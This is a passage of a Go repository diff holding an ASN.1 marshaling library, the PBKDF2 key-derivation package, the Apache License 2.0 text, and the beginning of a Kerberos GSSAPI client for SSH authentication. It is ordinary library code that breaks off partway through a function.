err = marshalBase128Int(out, int64(oid[0]*40+oid[1]))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for i := 2; i < len(oid); i++ {
|
||||
err = marshalBase128Int(out, int64(oid[i]))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func marshalPrintableString(out *forkableWriter, s string) (err error) {
|
||||
b := []byte(s)
|
||||
for _, c := range b {
|
||||
if !isPrintable(c) {
|
||||
return StructuralError{"PrintableString contains invalid character"}
|
||||
}
|
||||
}
|
||||
|
||||
_, err = out.Write(b)
|
||||
return
|
||||
}
|
||||
|
||||
func marshalIA5String(out *forkableWriter, s string) (err error) {
|
||||
b := []byte(s)
|
||||
for _, c := range b {
|
||||
if c > 127 {
|
||||
return StructuralError{"IA5String contains invalid character"}
|
||||
}
|
||||
}
|
||||
|
||||
_, err = out.Write(b)
|
||||
return
|
||||
}
|
||||
|
||||
func marshalUTF8String(out *forkableWriter, s string) (err error) {
|
||||
_, err = out.Write([]byte(s))
|
||||
return
|
||||
}
|
||||
|
||||
func marshalTwoDigits(out *forkableWriter, v int) (err error) {
|
||||
err = out.WriteByte(byte('0' + (v/10)%10))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return out.WriteByte(byte('0' + v%10))
|
||||
}
|
||||
|
||||
func marshalFourDigits(out *forkableWriter, v int) (err error) {
|
||||
var bytes [4]byte
|
||||
for i := range bytes {
|
||||
bytes[3-i] = '0' + byte(v%10)
|
||||
v /= 10
|
||||
}
|
||||
_, err = out.Write(bytes[:])
|
||||
return
|
||||
}
|
||||
|
||||
func outsideUTCRange(t time.Time) bool {
|
||||
year := t.Year()
|
||||
return year < 1950 || year >= 2050
|
||||
}
|
||||
|
||||
func marshalUTCTime(out *forkableWriter, t time.Time) (err error) {
|
||||
year := t.Year()
|
||||
|
||||
switch {
|
||||
case 1950 <= year && year < 2000:
|
||||
err = marshalTwoDigits(out, year-1900)
|
||||
case 2000 <= year && year < 2050:
|
||||
err = marshalTwoDigits(out, year-2000)
|
||||
default:
|
||||
return StructuralError{"cannot represent time as UTCTime"}
|
||||
}
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return marshalTimeCommon(out, t)
|
||||
}
|
||||
|
||||
func marshalGeneralizedTime(out *forkableWriter, t time.Time) (err error) {
|
||||
year := t.Year()
|
||||
if year < 0 || year > 9999 {
|
||||
return StructuralError{"cannot represent time as GeneralizedTime"}
|
||||
}
|
||||
if err = marshalFourDigits(out, year); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return marshalTimeCommon(out, t)
|
||||
}
|
||||
|
||||
func marshalTimeCommon(out *forkableWriter, t time.Time) (err error) {
|
||||
_, month, day := t.Date()
|
||||
|
||||
err = marshalTwoDigits(out, int(month))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = marshalTwoDigits(out, day)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
hour, min, sec := t.Clock()
|
||||
|
||||
err = marshalTwoDigits(out, hour)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = marshalTwoDigits(out, min)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = marshalTwoDigits(out, sec)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
_, offset := t.Zone()
|
||||
|
||||
switch {
|
||||
case offset/60 == 0:
|
||||
err = out.WriteByte('Z')
|
||||
return
|
||||
case offset > 0:
|
||||
err = out.WriteByte('+')
|
||||
case offset < 0:
|
||||
err = out.WriteByte('-')
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
offsetMinutes := offset / 60
|
||||
if offsetMinutes < 0 {
|
||||
offsetMinutes = -offsetMinutes
|
||||
}
|
||||
|
||||
err = marshalTwoDigits(out, offsetMinutes/60)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = marshalTwoDigits(out, offsetMinutes%60)
|
||||
return
|
||||
}
|
||||
|
||||
func stripTagAndLength(in []byte) []byte {
|
||||
_, offset, err := parseTagAndLength(in, 0)
|
||||
if err != nil {
|
||||
return in
|
||||
}
|
||||
return in[offset:]
|
||||
}
|
||||
|
||||
func marshalBody(out *forkableWriter, value reflect.Value, params fieldParameters) (err error) {
|
||||
switch value.Type() {
|
||||
case flagType:
|
||||
return nil
|
||||
case timeType:
|
||||
t := value.Interface().(time.Time)
|
||||
if params.timeType == TagGeneralizedTime || outsideUTCRange(t) {
|
||||
return marshalGeneralizedTime(out, t)
|
||||
} else {
|
||||
return marshalUTCTime(out, t)
|
||||
}
|
||||
case bitStringType:
|
||||
return marshalBitString(out, value.Interface().(BitString))
|
||||
case objectIdentifierType:
|
||||
return marshalObjectIdentifier(out, value.Interface().(ObjectIdentifier))
|
||||
case bigIntType:
|
||||
return marshalBigInt(out, value.Interface().(*big.Int))
|
||||
}
|
||||
|
||||
switch v := value; v.Kind() {
|
||||
case reflect.Bool:
|
||||
if v.Bool() {
|
||||
return out.WriteByte(255)
|
||||
} else {
|
||||
return out.WriteByte(0)
|
||||
}
|
||||
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
|
||||
return marshalInt64(out, v.Int())
|
||||
case reflect.Struct:
|
||||
t := v.Type()
|
||||
|
||||
startingField := 0
|
||||
|
||||
// If the first element of the structure is a non-empty
|
||||
// RawContents, then we don't bother serializing the rest.
|
||||
if t.NumField() > 0 && t.Field(0).Type == rawContentsType {
|
||||
s := v.Field(0)
|
||||
if s.Len() > 0 {
|
||||
bytes := make([]byte, s.Len())
|
||||
for i := 0; i < s.Len(); i++ {
|
||||
bytes[i] = uint8(s.Index(i).Uint())
|
||||
}
|
||||
/* The RawContents will contain the tag and
|
||||
* length fields but we'll also be writing
|
||||
* those ourselves, so we strip them out of
|
||||
* bytes */
|
||||
_, err = out.Write(stripTagAndLength(bytes))
|
||||
return
|
||||
} else {
|
||||
startingField = 1
|
||||
}
|
||||
}
|
||||
|
||||
for i := startingField; i < t.NumField(); i++ {
|
||||
var pre *forkableWriter
|
||||
pre, out = out.fork()
|
||||
err = marshalField(pre, v.Field(i), parseFieldParameters(t.Field(i).Tag.Get("asn1")))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
return
|
||||
case reflect.Slice:
|
||||
sliceType := v.Type()
|
||||
if sliceType.Elem().Kind() == reflect.Uint8 {
|
||||
bytes := make([]byte, v.Len())
|
||||
for i := 0; i < v.Len(); i++ {
|
||||
bytes[i] = uint8(v.Index(i).Uint())
|
||||
}
|
||||
_, err = out.Write(bytes)
|
||||
return
|
||||
}
|
||||
|
||||
// jtasn1 Pass on the tags to the members but need to unset explicit switch and implicit value
|
||||
//var fp fieldParameters
|
||||
params.explicit = false
|
||||
params.tag = nil
|
||||
for i := 0; i < v.Len(); i++ {
|
||||
var pre *forkableWriter
|
||||
pre, out = out.fork()
|
||||
err = marshalField(pre, v.Index(i), params)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
return
|
||||
case reflect.String:
|
||||
switch params.stringType {
|
||||
case TagIA5String:
|
||||
return marshalIA5String(out, v.String())
|
||||
case TagPrintableString:
|
||||
return marshalPrintableString(out, v.String())
|
||||
default:
|
||||
return marshalUTF8String(out, v.String())
|
||||
}
|
||||
}
|
||||
|
||||
return StructuralError{"unknown Go type"}
|
||||
}
|
||||
|
||||
func marshalField(out *forkableWriter, v reflect.Value, params fieldParameters) (err error) {
|
||||
if !v.IsValid() {
|
||||
return fmt.Errorf("asn1: cannot marshal nil value")
|
||||
}
|
||||
// If the field is an interface{} then recurse into it.
|
||||
if v.Kind() == reflect.Interface && v.Type().NumMethod() == 0 {
|
||||
return marshalField(out, v.Elem(), params)
|
||||
}
|
||||
|
||||
if v.Kind() == reflect.Slice && v.Len() == 0 && params.omitEmpty {
|
||||
return
|
||||
}
|
||||
|
||||
if params.optional && params.defaultValue != nil && canHaveDefaultValue(v.Kind()) {
|
||||
defaultValue := reflect.New(v.Type()).Elem()
|
||||
defaultValue.SetInt(*params.defaultValue)
|
||||
|
||||
if reflect.DeepEqual(v.Interface(), defaultValue.Interface()) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// If no default value is given then the zero value for the type is
|
||||
// assumed to be the default value. This isn't obviously the correct
|
||||
// behaviour, but it's what Go has traditionally done.
|
||||
if params.optional && params.defaultValue == nil {
|
||||
if reflect.DeepEqual(v.Interface(), reflect.Zero(v.Type()).Interface()) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if v.Type() == rawValueType {
|
||||
rv := v.Interface().(RawValue)
|
||||
if len(rv.FullBytes) != 0 {
|
||||
_, err = out.Write(rv.FullBytes)
|
||||
} else {
|
||||
err = marshalTagAndLength(out, tagAndLength{rv.Class, rv.Tag, len(rv.Bytes), rv.IsCompound})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = out.Write(rv.Bytes)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
tag, isCompound, ok := getUniversalType(v.Type())
|
||||
if !ok {
|
||||
err = StructuralError{fmt.Sprintf("unknown Go type: %v", v.Type())}
|
||||
return
|
||||
}
|
||||
class := ClassUniversal
|
||||
|
||||
if params.timeType != 0 && tag != TagUTCTime {
|
||||
return StructuralError{"explicit time type given to non-time member"}
|
||||
}
|
||||
|
||||
// jtasn1 updated to allow slices of strings
|
||||
if params.stringType != 0 && !(tag == TagPrintableString || (v.Kind() == reflect.Slice && tag == 16 && v.Type().Elem().Kind() == reflect.String)) {
|
||||
return StructuralError{"explicit string type given to non-string member"}
|
||||
}
|
||||
|
||||
switch tag {
|
||||
case TagPrintableString:
|
||||
if params.stringType == 0 {
|
||||
// This is a string without an explicit string type. We'll use
|
||||
// a PrintableString if the character set in the string is
|
||||
// sufficiently limited, otherwise we'll use a UTF8String.
|
||||
for _, r := range v.String() {
|
||||
if r >= utf8.RuneSelf || !isPrintable(byte(r)) {
|
||||
if !utf8.ValidString(v.String()) {
|
||||
return errors.New("asn1: string not valid UTF-8")
|
||||
}
|
||||
tag = TagUTF8String
|
||||
break
|
||||
}
|
||||
}
|
||||
} else {
|
||||
tag = params.stringType
|
||||
}
|
||||
case TagUTCTime:
|
||||
if params.timeType == TagGeneralizedTime || outsideUTCRange(v.Interface().(time.Time)) {
|
||||
tag = TagGeneralizedTime
|
||||
}
|
||||
}
|
||||
|
||||
if params.set {
|
||||
if tag != TagSequence {
|
||||
return StructuralError{"non sequence tagged as set"}
|
||||
}
|
||||
tag = TagSet
|
||||
}
|
||||
|
||||
tags, body := out.fork()
|
||||
|
||||
err = marshalBody(body, v, params)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
bodyLen := body.Len()
|
||||
|
||||
var explicitTag *forkableWriter
|
||||
if params.explicit {
|
||||
explicitTag, tags = tags.fork()
|
||||
}
|
||||
|
||||
if !params.explicit && params.tag != nil {
|
||||
// implicit tag.
|
||||
tag = *params.tag
|
||||
class = ClassContextSpecific
|
||||
}
|
||||
|
||||
err = marshalTagAndLength(tags, tagAndLength{class, tag, bodyLen, isCompound})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if params.explicit {
|
||||
err = marshalTagAndLength(explicitTag, tagAndLength{
|
||||
class: ClassContextSpecific,
|
||||
tag: *params.tag,
|
||||
length: bodyLen + tags.Len(),
|
||||
isCompound: true,
|
||||
})
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// Marshal returns the ASN.1 encoding of val.
|
||||
//
|
||||
// In addition to the struct tags recognised by Unmarshal, the following can be
|
||||
// used:
|
||||
//
|
||||
// ia5: causes strings to be marshaled as ASN.1, IA5 strings
|
||||
// omitempty: causes empty slices to be skipped
|
||||
// printable: causes strings to be marshaled as ASN.1, PrintableString strings.
|
||||
// utf8: causes strings to be marshaled as ASN.1, UTF8 strings
|
||||
func Marshal(val interface{}) ([]byte, error) {
|
||||
var out bytes.Buffer
|
||||
v := reflect.ValueOf(val)
|
||||
f := newForkableWriter()
|
||||
err := marshalField(f, v, fieldParameters{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_, err = f.writeTo(&out)
|
||||
return out.Bytes(), err
|
||||
}
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
/*
|
||||
Package pbkdf2 implements the key derivation function PBKDF2 as defined in RFC
|
||||
2898 / PKCS #5 v2.0.
|
||||
|
||||
A key derivation function is useful when encrypting data based on a password
|
||||
or any other not-fully-random data. It uses a pseudorandom function to derive
|
||||
a secure encryption key based on the password.
|
||||
|
||||
While v2.0 of the standard defines only one pseudorandom function to use,
|
||||
HMAC-SHA1, the drafted v2.1 specification allows use of all five FIPS Approved
|
||||
Hash Functions SHA-1, SHA-224, SHA-256, SHA-384 and SHA-512 for HMAC. To
|
||||
choose, you can pass the `New` functions from the different SHA packages to
|
||||
pbkdf2.Key.
|
||||
*/
|
||||
package pbkdf2
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"hash"
|
||||
)
|
||||
|
||||
// Key derives a key from the password, salt and iteration count, returning a
|
||||
// []byte of length keylen that can be used as cryptographic key. The key is
|
||||
// derived based on the method described as PBKDF2 with the HMAC variant using
|
||||
// the supplied hash function.
|
||||
//
|
||||
// For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you
|
||||
// can get a derived key for e.g. AES-256 (which needs a 32-byte key) by
|
||||
// doing:
|
||||
//
|
||||
// dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
|
||||
//
|
||||
// Remember to get a good random salt. At least 8 bytes is recommended by the
|
||||
// RFC.
|
||||
//
|
||||
// Using a higher iteration count will increase the cost of an exhaustive
|
||||
// search but will also make derivation proportionally slower.
|
||||
func Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte {
|
||||
return Key64(password, salt, int64(iter), int64(keyLen), h)
|
||||
}
|
||||
|
||||
// Key64 derives a key from the password, salt and iteration count, returning a
|
||||
// []byte of length keylen that can be used as cryptographic key. Key64 uses
|
||||
// int64 for the iteration count and key length to allow larger values.
|
||||
// The key is derived based on the method described as PBKDF2 with the HMAC
|
||||
// variant using the supplied hash function.
|
||||
//
|
||||
// For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you
|
||||
// can get a derived key for e.g. AES-256 (which needs a 32-byte key) by
|
||||
// doing:
|
||||
//
|
||||
// dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
|
||||
//
|
||||
// Remember to get a good random salt. At least 8 bytes is recommended by the
|
||||
// RFC.
|
||||
//
|
||||
// Using a higher iteration count will increase the cost of an exhaustive
|
||||
// search but will also make derivation proportionally slower.
|
||||
func Key64(password, salt []byte, iter, keyLen int64, h func() hash.Hash) []byte {
|
||||
prf := hmac.New(h, password)
|
||||
hashLen := int64(prf.Size())
|
||||
numBlocks := (keyLen + hashLen - 1) / hashLen
|
||||
|
||||
var buf [4]byte
|
||||
dk := make([]byte, 0, numBlocks*hashLen)
|
||||
U := make([]byte, hashLen)
|
||||
for block := int64(1); block <= numBlocks; block++ {
|
||||
// N.B.: || means concatenation, ^ means XOR
|
||||
// for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter
|
||||
// U_1 = PRF(password, salt || uint(i))
|
||||
prf.Reset()
|
||||
prf.Write(salt)
|
||||
buf[0] = byte(block >> 24)
|
||||
buf[1] = byte(block >> 16)
|
||||
buf[2] = byte(block >> 8)
|
||||
buf[3] = byte(block)
|
||||
prf.Write(buf[:4])
|
||||
dk = prf.Sum(dk)
|
||||
T := dk[int64(len(dk))-hashLen:]
|
||||
copy(U, T)
|
||||
|
||||
// U_n = PRF(password, U_(n-1))
|
||||
for n := int64(2); n <= iter; n++ {
|
||||
prf.Reset()
|
||||
prf.Write(U)
|
||||
U = U[:0]
|
||||
U = prf.Sum(U)
|
||||
for x := range U {
|
||||
T[x] ^= U[x]
|
||||
}
|
||||
}
|
||||
}
|
||||
return dk[:keyLen]
|
||||
}
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
+182
@@ -0,0 +1,182 @@
|
||||
// Copyright 2020 yiya1989. All rights reserved.
|
||||
// Apache License Version 2.0
|
||||
package krb5forssh
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/client"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/config"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/gssapi"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/chksumtype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/flags"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/keytab"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/messages"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/spnego"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
type Krb5ClientState int
|
||||
|
||||
const (
|
||||
ContextFlagREADY = 128
|
||||
/* initiator states */
|
||||
InitiatorStart Krb5ClientState = iota
|
||||
InitiatorRestart
|
||||
InitiatorWaitForMutal
|
||||
InitiatorReady
|
||||
)
|
||||
|
||||
func NewKrb5InitiatorClient(krb5Conf, user, realm string, keytabConf []byte) (kcl Krb5InitiatorClient, err error) {
|
||||
c, _ := config.NewConfigFromString(krb5Conf)
|
||||
|
||||
// Set to lookup KDCs in DNS
|
||||
c.LibDefaults.DNSLookupKDC = true
|
||||
|
||||
// Blank out the KDCs to ensure they are not being used
|
||||
c.Realms = []config.Realm{}
|
||||
|
||||
// Init keytab from conf
|
||||
kt := &keytab.Keytab{}
|
||||
if err = kt.Unmarshal([]byte(keytabConf)); err != nil {
|
||||
return kcl, fmt.Errorf("unmarshal keytabConf failed: %w", err)
|
||||
}
|
||||
|
||||
// Init krb5 client and login
|
||||
cl := client.NewClientWithKeytab(user, realm, kt, c)
|
||||
|
||||
err = cl.Login()
|
||||
if err != nil {
|
||||
fmt.Printf("error on logging in using DNS lookup of KDCs: %v\n", err)
|
||||
return
|
||||
}
|
||||
err = cl.AffirmLogin()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
return Krb5InitiatorClient{
|
||||
client: cl,
|
||||
state: InitiatorStart,
|
||||
}, nil
|
||||
}
|
||||
|
||||
type Krb5InitiatorClient struct {
|
||||
state Krb5ClientState
|
||||
client *client.Client
|
||||
subkey types.EncryptionKey
|
||||
}
|
||||
|
||||
// Create new authenticator checksum for kerberos MechToken
|
||||
func (k *Krb5InitiatorClient) newAuthenticatorChksum(flags []int) []byte {
|
||||
a := make([]byte, 24)
|
||||
binary.LittleEndian.PutUint32(a[:4], 16)
|
||||
for _, i := range flags {
|
||||
if i == gssapi.ContextFlagDeleg {
|
||||
x := make([]byte, 28-len(a))
|
||||
a = append(a, x...)
|
||||
}
|
||||
f := binary.LittleEndian.Uint32(a[20:24])
|
||||
f |= uint32(i)
|
||||
binary.LittleEndian.PutUint32(a[20:24], f)
|
||||
}
|
||||
return a
|
||||
}
|
||||
|
||||
func (k *Krb5InitiatorClient) InitSecContext(target string, token []byte, isGSSDelegCreds bool) ([]byte, bool, error) {
|
||||
GSSAPIFlags := []int{
|
||||
ContextFlagREADY,
|
||||
gssapi.ContextFlagInteg,
|
||||
gssapi.ContextFlagMutual,
|
||||
}
|
||||
if isGSSDelegCreds {
|
||||
GSSAPIFlags = append(GSSAPIFlags, gssapi.ContextFlagDeleg)
|
||||
}
|
||||
APOptions := []int{flags.APOptionMutualRequired}
|
||||
|
||||
switch k.state {
|
||||
case InitiatorStart, InitiatorRestart:
|
||||
newTarget := strings.ReplaceAll(target, "@", "/")
|
||||
|
||||
tkt, sessionKey, err := k.client.GetServiceTicket(newTarget)
|
||||
if err != nil {
|
||||
return []byte{}, false, err
|
||||
}
|
||||
|
||||
krb5Token, err := spnego.NewKRB5TokenAPREQ(k.client, tkt, sessionKey, GSSAPIFlags, APOptions)
|
||||
|
||||
creds := k.client.Credentials
|
||||
auth, err := types.NewAuthenticator(creds.Domain(), creds.CName())
|
||||
if err != nil {
|
||||
return nil, false, fmt.Errorf("error generating new authenticator: %w", err)
|
||||
}
|
||||
auth.Cksum = types.Checksum{
|
||||
CksumType: chksumtype.GSSAPI,
|
||||
Checksum: k.newAuthenticatorChksum(GSSAPIFlags),
|
||||
}
|
||||
etype, _ := crypto.GetEtype(sessionKey.KeyType)
|
||||
if err := auth.GenerateSeqNumberAndSubKey(sessionKey.KeyType, etype.GetKeyByteSize()); err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
k.subkey = auth.SubKey
|
||||
|
||||
APReq, err := messages.NewAPReq(
|
||||
tkt,
|
||||
sessionKey,
|
||||
auth,
